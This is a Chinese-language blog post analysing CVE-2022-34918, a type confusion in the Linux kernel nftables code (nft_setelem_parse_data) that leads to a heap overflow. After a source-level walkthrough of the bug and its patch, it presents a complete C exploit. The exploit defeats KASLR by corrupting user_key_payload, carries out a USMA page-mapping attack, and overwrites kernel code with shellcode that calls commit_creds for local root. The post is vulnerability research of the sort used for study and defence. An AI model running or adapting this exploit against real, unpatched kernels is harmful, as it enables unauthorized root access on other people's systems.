CVE-2022-34918:nftables 中 nft_setelem_parse_data 错误验证导致的类型混淆,从而导致的堆溢出写

前言

测试版本:v5.17.15

编译选项:

CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_BINFMT_MISC=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y

漏洞分析

patch 如下:

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 51144fc66889b..d6b59beab3a98 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -5213,13 +5213,20 @@ static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set,
 				  struct nft_data *data,
 				  struct nlattr *attr)
 {
+	u32 dtype;
 	int err;
 
 	err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr);
 	if (err < 0)
 		return err;
 
-	if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
+	if (set->dtype == NFT_DATA_VERDICT)
+		dtype = NFT_DATA_VERDICT;
+	else
+		dtype = NFT_DATA_VALUE;
+
+	if (dtype != desc->type ||
+	    set->dlen != desc->len) {
 		nft_data_release(data, desc->type);
 		return -EINVAL;

可以看到 patch 主要打在了 nft_setelem_parse_data 函数中,其主要修改了相关检查方式:

static int nft_setelem_parse_data(struct nft_ctx *ctx, 
								  struct nft_set *set,
								  struct nft_data_desc *desc,
								  struct nft_data *data,
								  struct nlattr *attr)
{
	int err;
	// NFT_DATA_VALUE_MAXLEN = 64
	// 解析 attr 属性到 data 中,并设置 desc
	err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr);
	if (err < 0) return err;
	// 如果 type 不是 NFT_DATA_VERDICT ,则需要检查 desc->len ?= set->dlen
	// 这里可以想一下:
	//	1、为什么 type != NFT_DATA_VERDICT 时,需要检查 desc->len ?= set->dlen?
	//	2、如果 desc->len != set->dlen 通过了检查,后面会出现什么问题呢?
	//	3、为什么 type == NFT_DATA_VERDICT 时,就不需要检查 desc->len ?= set->dlen?
	if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
		nft_data_release(data, desc->type);
		return -EINVAL;
	}
	return 0;
}

nft_data_init 函数主要就是解析添加 elem 的类型:

/**
 * enum nft_data_attributes - nf_tables data netlink attributes
 *
 * @NFTA_DATA_VALUE: generic data (NLA_BINARY)
 * @NFTA_DATA_VERDICT: nf_tables verdict (NLA_NESTED: nft_verdict_attributes)
 */
enum nft_data_attributes {
	NFTA_DATA_UNSPEC,
	NFTA_DATA_VALUE,
	NFTA_DATA_VERDICT,
	__NFTA_DATA_MAX
};
#define NFTA_DATA_MAX		(__NFTA_DATA_MAX - 1)

/**
 *	nft_data_init - parse nf_tables data netlink attributes
 *
 *	@ctx: context of the expression using the data
 *	@data: destination struct nft_data
 *	@size: maximum data length
 *	@desc: data description
 *	@nla: netlink attribute containing data
 *
 *	Parse the netlink data attributes and initialize a struct nft_data.
 *	The type and length of data are returned in the data description.
 *
 *	The caller can indicate that it only wants to accept data of type
 *	NFT_DATA_VALUE by passing NULL for the ctx argument.
 */
int nft_data_init(const struct nft_ctx *ctx,
		  struct nft_data *data, unsigned int size, // size = 64
		  struct nft_data_desc *desc, const struct nlattr *nla)
{
	struct nlattr *tb[NFTA_DATA_MAX + 1];
	int err;
	// 解析嵌套 nla 属性到 tb 数组中
	err = nla_parse_nested_deprecated(tb, NFTA_DATA_MAX, nla, nft_data_policy, NULL);
	if (err < 0) return err;
	// 处理 NFTA_DATA_VALUE 属性
	if (tb[NFTA_DATA_VALUE])
		return nft_value_init(ctx, data, size, desc, tb[NFTA_DATA_VALUE]);
	// 处理 NFTA_DATA_VERDICT 属性
	if (tb[NFTA_DATA_VERDICT] && ctx != NULL)
		return nft_verdict_init(ctx, data, desc, tb[NFTA_DATA_VERDICT]);
	return -EINVAL;
}

如果添加元素是 NFTA_DATA_VALUE 则调用 nft_value_init 函数:

static int nft_value_init(const struct nft_ctx *ctx,
			  struct nft_data *data, unsigned int size,
			  struct nft_data_desc *desc, const struct nlattr *nla)
{
	unsigned int len;
	
	len = nla_len(nla); // 属性长度
	if (len == 0) return -EINVAL;
	if (len > size) return -EOVERFLOW; // size = 64
	// 拷贝 nlattr 数据到 data->data 中
	nla_memcpy(data->data, nla, len);
	// 对于 NFT_DATA_VALUE 类型,desc->len = nla_len(nla)
	desc->type = NFT_DATA_VALUE;
	desc->len  = len;
	return 0;
}

如果添加元素是 NFT_DATA_VERDICT 则调用 nft_verdict_init 函数:

/**
 * enum nft_verdict_attributes - nf_tables verdict netlink attributes
 *
 * @NFTA_VERDICT_CODE: nf_tables verdict (NLA_U32: enum nft_verdicts)
 * @NFTA_VERDICT_CHAIN: jump target chain name (NLA_STRING)
 * @NFTA_VERDICT_CHAIN_ID: jump target chain ID (NLA_U32)
 */
enum nft_verdict_attributes {
	NFTA_VERDICT_UNSPEC,
	NFTA_VERDICT_CODE,
	NFTA_VERDICT_CHAIN,
	NFTA_VERDICT_CHAIN_ID,
	__NFTA_VERDICT_MAX
};
#define NFTA_VERDICT_MAX	(__NFTA_VERDICT_MAX -

static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
						    struct nft_data_desc *desc, const struct nlattr *nla)
{
	u8 genmask = nft_genmask_next(ctx->net);
	struct nlattr *tb[NFTA_VERDICT_MAX + 1];
	struct nft_chain *chain;
	int err;
	// 处理 nla 迭代属性到 tb 中
	err = nla_parse_nested_deprecated(tb, NFTA_VERDICT_MAX, nla, nft_verdict_policy, NULL);
	if (err < 0) return err;
	if (!tb[NFTA_VERDICT_CODE])	return -EINVAL;
	// 获取 verdict.code
	data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));

	switch (data->verdict.code) {
	default:
		switch (data->verdict.code & NF_VERDICT_MASK) {
			case NF_ACCEPT:
			case NF_DROP:
			case NF_QUEUE:
				break;
			default:
				return -EINVAL;
		}
		fallthrough;
	case NFT_CONTINUE:
	case NFT_BREAK:
	case NFT_RETURN:
		break;
	// 如果是 JUMP/GOTO 则需要设置 target chain
	case NFT_JUMP:
	case NFT_GOTO:
		if (tb[NFTA_VERDICT_CHAIN]) {
			chain = nft_chain_lookup(ctx->net, ctx->table, tb[NFTA_VERDICT_CHAIN], genmask);
		} else if (tb[NFTA_VERDICT_CHAIN_ID]) {
			chain = nft_chain_lookup_byid(ctx->net, tb[NFTA_VERDICT_CHAIN_ID]);
			if (IS_ERR(chain)) return PTR_ERR(chain);
		} else {
			return -EINVAL;
		}

		if (IS_ERR(chain) return PTR_ERR(chain);
		// 必须得是 base_chain???
		if (nft_is_base_chain(chain)) return -EOPNOTSUPP;

		chain->use++;
		data->verdict.chain = chain;
		break;
	}
	// 当为 NFT_DATA_VERDICT 时,desc->len = 16
	desc->len = sizeof(data->verdict);
	desc->type = NFT_DATA_VERDICT;
	return 0;
}

要回答上面那三个问题,我们得先看下 set->len 的值是如何被设置的,set->dlen 的值是在其被创建时确定的,创建 set 的函数为 nf_tables_newset

static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
							const struct nlattr * const nla[])
{
	......
	dtype = 0;
	// 设置 data 的类型
	if (nla[NFTA_SET_DATA_TYPE] != NULL) {
		if (!(flags & NFT_SET_MAP))
			return -EINVAL;

		dtype = ntohl(nla_get_be32(nla[NFTA_SET_DATA_TYPE]));
		// 不是正确的 NFT_DATA_VERDICT 类型
		if ((dtype & NFT_DATA_RESERVED_MASK) == NFT_DATA_RESERVED_MASK && dtype != NFT_DATA_VERDICT)
			return -EINVAL;
		// 数据类型
		if (dtype != NFT_DATA_VERDICT) {
			if (nla[NFTA_SET_DATA_LEN] == NULL) return -EINVAL;
			// NFT_DATA_VALUE_MAXLEN = 64
			// 对于数据类型,这里的 desc.len 是用户可控的,在 [1, 64] 之间
			desc.dlen = ntohl(nla_get_be32(nla[NFTA_SET_DATA_LEN]));
			if (desc.dlen == 0 || desc.dlen > NFT_DATA_VALUE_MAXLEN)
				return -EINVAL;
		} else
		// verdict 类型,可以看到对于 verdict 类型
		//				: 这里的 desc->dlen = 16 是固定的,所以后面的 set->dlen = 16 也是固定的
			desc.dlen = sizeof(struct nft_verdict);
	} else if (flags & NFT_SET_MAP)
		return -EINVAL;
	......
	set->dlen = desc.dlen;
	......

这里就可以回答第 1/3 个问题了,可以看到对于 NFT_DATA_VERDICT 而言,其 set->dlen = 16,而 desc->len = 16,所以这里是肯定相等的,因此不需要进行检查

	//	1、为什么 type != NFT_DATA_VERDICT 时,需要检查 desc->len ?= set->dlen?
	//	2、如果 desc->len != set->dlen 通过了检查,后面会出现什么问题呢?
	//	3、为什么 type == NFT_DATA_VERDICT 时,就不需要检查 desc->len ?= set->dlen?
	if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
	...... return err
	}

而对于 NFTA_DATA_VALUE 类型而言,set->dlen[1, 64] 之间, 其是用户可控的;而 desc->len 也在 [1, 64] 之间,其也是用户可控的,所以这里需要进行检查,如果两者相等则表明是同一种类型,但这里的检查是存在缺陷的。

这里本质上是一个类型混淆的漏洞,对于 set 而言,其元素的类型应当是相同的,这里判断元素是否相同的方式是比较 set->dlendesc->len,如果两者相等,则表明其元素类型是合法的,否则不合法。然后这里对 NFT_DATA_VERDICT 元素类型进行了特判,其认为:如果 set 的元素类型是 NFT_DATA_VERDICT,那么其 set->dlen = 16,而在后续往 set 中添加 NFT_DATA_VERDICT 元素时,其 desc->len = 16,所以不需要进行检查。而对于 NFT_DATA_VALUE 类型的 set,其只需要通过 set->dlendese->len 的大小关系即可判断,比如创建 set 时定义其元素类型为 2 字节即 set->dlen = 2,而为 set 添加元素时传入的元素类型为 6 字节即 desc->len = 6,此时由于是 NFT_DATA_VALUE 类型,则会进行检查,发现其不相等则表明传入的元素类型不正确。

	......
	if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) { // 【2】
	......

但是这里忽略了一个问题:如果用户往 NFT_DATA_VALUE 元素类型的 set 中传入 NFT_DATA_VERDICT 类型的元素呢?此时 desc->type = NFT_DATA_VERDICT,于是上面的 【2】 就被绕过了,此时可能出现 desc->len != set->dlen,当然此时由于传入的是 NFT_DATA_VERDICT 类型,所以 desc->len = 16 是固定的。

现在就剩下第 2 个问题了,如果 desc->len != set->dlen 通过了检查,会出现什么问题?这里得看看上层是哪个函数调用了 nft_setelem_parse_data 函数,通过交叉引用可以发现上层只有 nft_add_set_elem 调用了改函数:

static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
						    const struct nlattr *attr, u32 nlmsg_flags)
{
	struct nft_expr *expr_array[NFT_SET_EXPR_MAX] = {};
	struct nlattr *nla[NFTA_SET_ELEM_MAX + 1];
	u8 genmask = nft_genmask_next(ctx->net);
	u32 flags = 0, size = 0, num_exprs = 0;
	struct nft_set_ext_tmpl tmpl;
	struct nft_set_ext *ext, *ext2;
	struct nft_set_elem elem;
	struct nft_set_binding *binding;
	struct nft_object *obj = NULL;
	struct nft_userdata *udata;
	struct nft_data_desc desc;
	enum nft_registers dreg;
	struct nft_trans *trans;
	u64 timeout;
	u64 expiration;
	int err, i;
	u8 ulen;

	err = nla_parse_nested_deprecated(nla, NFTA_SET_ELEM_MAX, attr, nft_set_elem_policy, NULL);
	if (err < 0) return err;

	nft_set_ext_prepare(&tmpl);

	......
	if (nla[NFTA_SET_ELEM_DATA] != NULL) {
		err = nft_setelem_parse_data(ctx, set, &desc, &elem.data.val, nla[NFTA_SET_ELEM_DATA]);
		if (err < 0) goto err_parse_key_end;

		dreg = nft_type_to_reg(set->dtype);
		......
		// 设置 tmpl
		nft_set_ext_add_length(&tmpl, NFT_SET_EXT_DATA, desc.len); // 【1】四字节对齐
	}
	......
	err = -ENOMEM;
	elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data,
				      elem.key_end.val.data, elem.data.val.data,
				      timeout, expiration, GFP_KERNEL); // 【2】
	if (elem.priv == NULL)
		goto err_parse_data;

	......
}

【1】 处更新了 tmpl 相关的值:

/**
 *	struct nft_set_ext_tmpl - set extension template
 *
 *	@len: length of extension area
 *	@offset: offsets of individual extension types
 */
struct nft_set_ext_tmpl {
	u16	len;
	u8	offset[NFT_SET_EXT_NUM];
};

static inline void nft_set_ext_add_length(struct nft_set_ext_tmpl *tmpl,
										  u8 id, unsigned int len) //len = desc.len
{
	tmpl->len	 = ALIGN(tmpl->len, nft_set_ext_types[id].align);
	BUG_ON(tmpl->len > U8_MAX);
	tmpl->offset[id] = tmpl->len;
	tmpl->len	+= nft_set_ext_types[id].len + len; // + desc.len
}

然后这里主要来看 【2】 处,nft_set_elem_init 函数主要就是用来初始化 elem 的私有数据:

/**
 *	struct nft_set_ext - set extensions
 *
 *	@genmask: generation mask
 *	@offset: offsets of individual extension types
 *	@data: beginning of extension data
 */
struct nft_set_ext {
	u8	genmask;
	u8	offset[NFT_SET_EXT_NUM];
	char	data[];
};

void *nft_set_elem_init(const struct nft_set *set,
			const struct nft_set_ext_tmpl *tmpl,
			const u32 *key, const u32 *key_end,
			const u32 *data, u64 timeout, u64 expiration, gfp_t gfp)
{
	struct nft_set_ext *ext;
	void *elem;
	// 分配 elem 空间
	elem = kzalloc(set->ops->elemsize + tmpl->len, gfp); // 【1】gfp = GFP_KERNEL
	if (elem == NULL) return NULL;

	ext = nft_set_elem_ext(set, elem); // return elem + set->ops->elemsize;
	nft_set_ext_init(ext, tmpl); // memcpy(ext->offset, tmpl->offset, sizeof(ext->offset));

	if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY))
		memcpy(nft_set_ext_key(ext), key, set->klen); // 设置 key
	if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY_END))
		memcpy(nft_set_ext_key_end(ext), key_end, set->klen); // 设置 key
	if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA))
		// nft_set_ext_data(ext) = (void *)ext + ext->offset[NFT_SET_EXT_DATA];
		memcpy(nft_set_ext_data(ext), data, set->dlen); // 这里是 set->dlen 【2】
	if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPIRATION)) { // 这个应该不存在,不然溢出就没效果了
		*nft_set_ext_expiration(ext) = get_jiffies_64() + expiration;
		if (expiration == 0)
			*nft_set_ext_expiration(ext) += timeout;
	}
	if (nft_set_ext_exists(ext, NFT_SET_EXT_TIMEOUT))
		*nft_set_ext_timeout(ext) = timeout;

	return elem;
}

可以看到这里 【1】 分配的大小为 eelemsize + others + desc->len,而在 【2】 处复制 data 时使用的是 set->dlen,这里的 data 就是用户传入的元素。所以这里就回答了如果 set->dlen != desc->len 会产生的问题,之前分析过我们可以利用:创建一个 NFT_DATA_VALUE 元素类型的 set,然后向该 set 中添加 NFT_DATA_VERDICT 类型的元素,即可绕过检查,这里 desc->len = 16,而 set->dlen 的范围在 [1, 64] 之间,所以如果 set->dlen 的值大于 16,则可能发生堆溢出,理论上我们最多可以溢出 48 字节。

可以看到这里分配堆块的大小为:

elem = kzalloc(set->ops->elemsize + tmpl->len, GFP_KERNEL);

这里 tmpl->len 我们是部分可控的:

static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
			    const struct nlattr *attr, u32 nlmsg_flags)
{
	......
	struct nft_set_ext_tmpl tmpl;
	......
	nft_set_ext_prepare(&tmpl); // 【1】 ==> tmpl->len = 0xa = 10
	......
	if (nla[NFTA_SET_ELEM_KEY]) {
		err = nft_setelem_parse_key(ctx, set, &elem.key.val, nla[NFTA_SET_ELEM_KEY]);
		if (err < 0) goto err_set_elem_expr;
		nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY, set->klen); // klen_max = 64,4字节对齐
	}

	if (nla[NFTA_SET_ELEM_KEY_END]) {
		err = nft_setelem_parse_key(ctx, set, &elem.key_end.val, nla[NFTA_SET_ELEM_KEY_END]);
		if (err < 0) goto err_parse_key;
		nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY_END, set->klen); // klen_max = 64,4字节对齐
	}
	......
	if (num_exprs) {
		for (i = 0; i < num_exprs; i++)
			size += expr_array[i]->ops->size;
		nft_set_ext_add_length(&tmpl, NFT_SET_EXT_EXPRESSIONS, sizeof(struct nft_set_elem_expr) + size);
	}

	......
	{
		......
		nft_set_ext_add_length(&tmpl, NFT_SET_EXT_DATA, desc.len); // ,4字节对齐
	}
	/* The full maximum length of userdata can exceed the maximum
	 * offset value (U8_MAX) for following extensions, therefor it
	 * must be the last extension added.
	 */
	ulen = 0;
	if (nla[NFTA_SET_ELEM_USERDATA] != NULL) {
		ulen = nla_len(nla[NFTA_SET_ELEM_USERDATA]);
		if (ulen > 0)
			nft_set_ext_add_length(&tmpl, NFT_SET_EXT_USERDATA, ulen); // 8字节对齐,+8
	}
	......

这里我们不使用 NFTA_SET_ELEM_USERDATA,所以这里分配的大小为:

set->ops->elemsize + 12 + others

但是 set->ops->elemsize 却是不可控的,对于 set->ops 其在创建 set 时被设置:

static const struct nft_set_type *nft_set_types[] = {
	&nft_set_hash_fast_type,
	&nft_set_hash_type,
	&nft_set_rhash_type,
	&nft_set_bitmap_type,
	&nft_set_rbtree_type,
#if defined(CONFIG_X86_64) && !defined(CONFIG_UML)
	&nft_set_pipapo_avx2_type,
#endif
	&nft_set_pipapo_type,
};

#define NFT_SET_FEATURES	(NFT_SET_INTERVAL | NFT_SET_MAP | \
				 NFT_SET_TIMEOUT | NFT_SET_OBJECT | \
				 NFT_SET_EVAL)

static bool nft_set_ops_candidate(const struct nft_set_type *type, u32 flags)
{
	return (flags & type->features) == (flags & NFT_SET_FEATURES);
}

/*
 * Select a set implementation based on the data characteristics and the
 * given policy. The total memory use might not be known if no size is
 * given, in that case the amount of memory per element is used.
 */
static const struct nft_set_ops *
nft_select_set_ops(const struct nft_ctx *ctx,
		   const struct nlattr * const nla[],
		   const struct nft_set_desc *desc,
		   enum nft_set_policies policy)
{
......
	for (i = 0; i < ARRAY_SIZE(nft_set_types); i++) {
		type = nft_set_types[i];
		ops = &type->ops;

		if (!nft_set_ops_candidate(type, flags)) // <====== choose ops
		......
}

这里我们构造 NFT_SET_MAP 类型的 set,此时调试发现,其使用的是 nft_set_rhash_type
在这里插入图片描述
其对应的 ops->elemsize = 8
在这里插入图片描述
所以最后分配的堆块大小为:注意这里是四字节对齐的

elem = kzalloc(8 + 12 + key_len + 16, GFP_KERNEL);

所以这里我们可以通过 ken_len 去控制分配堆块的大小

漏洞利用

在漏洞分析中说了我们分配的大小为:20 + key_len + 16,这里可以通过 key_len 去控制分配堆块的大小,这里我选择的是 kmalloc-64,之所以选择 kmalloc-64 是因为后面笔者使用的是 USMA 攻击,然后涉及到堆喷 pgv,如果堆块过大,则需要分配的页面就比较多,此时可能内存吃不消

确定了目标堆块的大小,接下来就是去考虑该如果精确控制溢出数据,这里往堆块上拷贝的数据为 data

if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA))
		// nft_set_ext_data(ext) = (void *)ext + ext->offset[NFT_SET_EXT_DATA];
		memcpy(nft_set_ext_data(ext), data, set->dlen); // 这里是 set->dlen 【2】

这里向上引用,可以发现 data 是一个栈上的局部变量:

static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set, const struct nlattr *attr, u32 nlmsg_flags)
{
	struct nft_set_elem elem;
	......
	elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data,
				      elem.key_end.val.data, elem.data.val.data, // elem.data.val.data ⇒ data
				      timeout, expiration, GFP_KERNEL);
	......		  

这里的 elem 是一个栈上的局部变量,其中 struct nft_set_elem 结构体如下:

/**
 *	struct nft_set_elem - generic representation of set elements
 *
 *	@key: element key
 *	@key_end: closing element key
 *	@priv: element private data and extensions
 */
struct nft_set_elem {
	union {
		u32		buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
		struct nft_data	val;
	} key;
	union {
		u32		buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
		struct nft_data	val;
	} key_end;
	union {
		u32		buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
		struct nft_data val;
	} data;
	void			*priv;
};

该结构体的大小为 64 + 8 = 72 字节,然后继续往上查找引用:

static int nf_tables_newsetelem(struct sk_buff *skb, const struct nfnl_info *info, const struct nlattr * const nla[])
{
	......
	nla_for_each_nested(attr, nla[NFTA_SET_ELEM_LIST_ELEMENTS], rem) { // 变量嵌套属性
		err = nft_add_set_elem(&ctx, set, attr, info->nlh->nlmsg_flags);
		if (err < 0)
			return err;
	}
	......

可以看到这里对每个属性都会调用 nft_add_set_elem 函数,那么每次调用 nft_add_set_elem 的栈帧都是相同的,所以这里我们可以先去填充 elem 的数据,然后在触发漏洞即可写入我们设置的值

那么这里我们的原语就是 kmalloc-64 GFP_KERNEL 堆溢出 0~48 字节。利用思路如下:

  • 堆溢出修改 user_key_payload.datalen 实现越界读 bypass kaslr
  • 堆溢出修改 pgv 数组实现 USMA 攻击

exploit 如下:没有调整堆喷策略,所以成功率比较低

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdarg.h>

#include "netlink.h"

struct verdict_data {
        uint32_t code;
        void *chain;
};


#define INIT_CRED "0xffffffff81000000"
#define COMMIT_CREDS "0xffffffff81000001"
#define KPTI_TRAMPOLINE "0xffffffff81000002"
#define SHELL "0x1234567832165478"
#define CS "0x33"
#define RFLAGS "0x246"
#define STACK "0x1234567887654321"
#define SS "0x2b"
#define ZERO "0"

#define evil "sub rsp, 0x300;\nmov rdi, "INIT_CRED";\nmov rax, "COMMIT_CREDS";\ncall rax;\npush "SS";\nmov rax, "STACK";\npush rax;\npush "RFLAGS";\npush "CS";\nmov rax, "SHELL";\npush rax;\npush "ZERO";\nmov rax, "KPTI_TRAMPOLINE";\ncall rax;"
#define NOP "nop;"

void rootkit();
void GUARD();
asm("rootkit:"
    evil);
asm("GUARD:"
    NOP);


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int main() {
        int pipe_fd[2];
        if (pipe(pipe_fd) < 0) fail_exit("pipe()");
        pid_t pid = fork();

        if (!pid) {
                puts("[+] Let's get it!!!");
                unshare_setup();
                save_status();
                system("ip link set dev lo up");
                system("ip addr");
                puts("");
                puts("=================== Bypass KASLR ==============");
                uint64_t koffset = -1;
                uint64_t kbase = 0xffffffff81000000;
                #define KEY_NUMS 0x30
                char desc[0x20] = { 0 };
                int key_ids[KEY_NUMS] = { 0 };
                char elem_key[30] = { 0 };
                char payload[0x100] = { 0 };
                char overwrite_data[0x100] = { 0 };
                char buf[0x10000] = { 0 };
                int res, evil_key = -1;
                struct verdict_data* verdict = payload;

                char *table_name = "evil_table";
                char *set_name   = "evil_set";

                create_table(table_name);
                create_set(table_name, set_name, 28, 16+0x28, 1);

                for (int i = 0; i < KEY_NUMS; i++) {
                        sprintf(desc, "%s%d", "X", i);
                        key_ids[i] = key_alloc(desc, payload, 28);
                }

                elem_key[0] = 1;
                memset(payload, 0, sizeof(payload));
                memset(overwrite_data, '\xff', sizeof(overwrite_data));
                verdict->code = NFT_CONTINUE;
                set_elem(table_name, set_name, elem_key, verdict, 16+0x28, overwrite_data);


                for (int i = 0; i < KEY_NUMS; i++) {
                        res = key_read(key_ids[i], buf, 0xffff);
                        if (res > 28) {
                                evil_key = i;
                                break;
                        }
                }
                if (evil_key == -1)
                        err_exit("Failed to overwrite user_key_payload.datalen");

                printf("[+] evil key: %d\n", evil_key);

                for (int i = 0; i < KEY_NUMS; i++) {
                        if (i != evil_key)
                                key_revoke(key_ids[i]);
                }

                res = key_read(key_ids[evil_key], buf, 0xffff);
                printf("[+] key_read datalen: %#x\n", res);
        //      binary_dump("LEAK DATA", buf, 0x200);
                uint64_t *ptr = (uint64_t*)buf;
                uint64_t target = 0xffffffff81572e10;
                for (int i = 0; i < res / 8; i++) {
                        if ((ptr[i]&0xfff) == 0xe10 && ptr[i] > kbase) {
                                koffset = ptr[i] - target;
                                kbase += koffset;
                                break;
                        }
                }

                printf("[+] koffset: %#llx\n", koffset);
                printf("[+] kbase: %#llx\n\n", kbase);

                puts("===================== LPE =====================");
                #define PGV_NUMS 0x30
                uint64_t commit_creds = 0xffffffff810fc260 + koffset;
                uint64_t init_cred  = 0xffffffff82a8b140 + koffset;
                uint64_t kpti_trampoline = 0xffffffff82000ff0+27 + koffset;
                uint64_t __sys_setresuid = 0xffffffff810e6ed0 + koffset;
                uint64_t modprobe_path = 0xffffffff82a8c240 + koffset;
                printf("[+] modprobe_path: %#llx\n", modprobe_path);
                printf("[+] __sys_setresuid: %#llx\n", __sys_setresuid);
                int pgv_ids[PGV_NUMS] = { 0 };
                for (int i = 0; i < PGV_NUMS; i++) {
                        pgv_ids[i] = pagealloc_pad(5, 0x1000);
                }

                for (int i = 0; i < PGV_NUMS; i += 3) {
                        close(pgv_ids[i]);
                }

                elem_key[0] += 1;
                memset(payload, 0, sizeof(payload));
                *(uint64_t*)(overwrite_data + 0 * 8) = modprobe_path & (~0xfff);
                *(uint64_t*)(overwrite_data + 1 * 8) = modprobe_path & (~0xfff);
                *(uint64_t*)(overwrite_data + 2 * 8) = modprobe_path & (~0xfff);
                for (int i = 3; i < sizeof(overwrite_data) / 8; i++)
                        *(uint64_t*)(overwrite_data + i * 8) = __sys_setresuid & (~0xfff);

                verdict->code = NFT_CONTINUE;
                set_elem(table_name, set_name, elem_key, verdict, 16+0x28, overwrite_data);

                char *page = NULL, *str = NULL;
                for (int i = 0; i < PGV_NUMS; i++) {
                        if (i % 3 != 0) {
                                page = mmap(NULL, 0x1000*5, PROT_READ|PROT_WRITE, MAP_SHARED, pgv_ids[i], 0);
                                if (page == -1) continue;

                                str = page + (modprobe_path & 0xfff);
                                if (!strcmp(str, "/sbin/modprobe")) {
                                        puts("[+] USMA attack successfully");
                                        break;

                                }
                                munmap(page, 0x1000*5);
                                str = NULL;
                        }
                }
                if (str == NULL) err_exit("Failed USMA");
                str = page + 0x1000 + (__sys_setresuid & 0xfff) + 5;
                char shellcode[0x200] = { 0 };
                uint64_t length = GUARD - rootkit;
                memcpy(shellcode, rootkit, length);
                *(uint32_t*)(shellcode+3+7) = init_cred;
                *(uint32_t*)(shellcode+10+7) = commit_creds;
                *(uint64_t*)(shellcode+20+7) = user_sp & (~0xff);
                *(uint64_t*)(shellcode+38+7) = get_root_shell;
                *(uint32_t*)(shellcode+59) = kpti_trampoline;

                printf("[+] shellcode length: %#x <==> %d\n", length, length);
                binary_dump("shellcode", shellcode, length);
                memcpy(str, shellcode, length);
                write(pipe_fd[1], "A", 1);
                exit(0);
        } else if (pid < 0) {
                fail_exit("fork()");
        } else {
                char buf[1];
                read(pipe_fd[0], buf, 1);
                puts("[+] Try to LPE");
                setresuid(0, 0, 0);
                puts("[+] EXP NERVER END");
                exit(0);
        }

        return 0;
}

效果如下:
在这里插入图片描述

修复

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 51144fc66889b..d6b59beab3a98 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -5213,13 +5213,20 @@ static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set,
 				  struct nft_data *data,
 				  struct nlattr *attr)
 {
+	u32 dtype;
 	int err;
 
 	err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr);
 	if (err < 0)
 		return err;
 
-	if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
+	if (set->dtype == NFT_DATA_VERDICT)
+		dtype = NFT_DATA_VERDICT;
+	else
+		dtype = NFT_DATA_VALUE;
+
+	if (dtype != desc->type ||
+	    set->dlen != desc->len) {
 		nft_data_release(data, desc->type);
 		return -EINVAL;

这里对 NFT_DATA_VERDICT 也进行判断,但是我们知道 NFT_DATA_VERDICT 的类型大小为 16 字节,而 NFT_DATA_VALUE 的大小也可以是 16 字节。所以单纯的通过 set->dlen ?= desc->len 是无法进行区分的 NFT_DATA_VERDICTNFT_DATA_VALUE 的,因此这里还比较了 set->dtype ?= desc->type

总结

该漏洞个人感觉即清楚又隐秘,从自己分析漏洞的过程来看,在审计代码时还是得多问问自己:为什么这里要这样?而哪里却不用这样?

  • 10
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值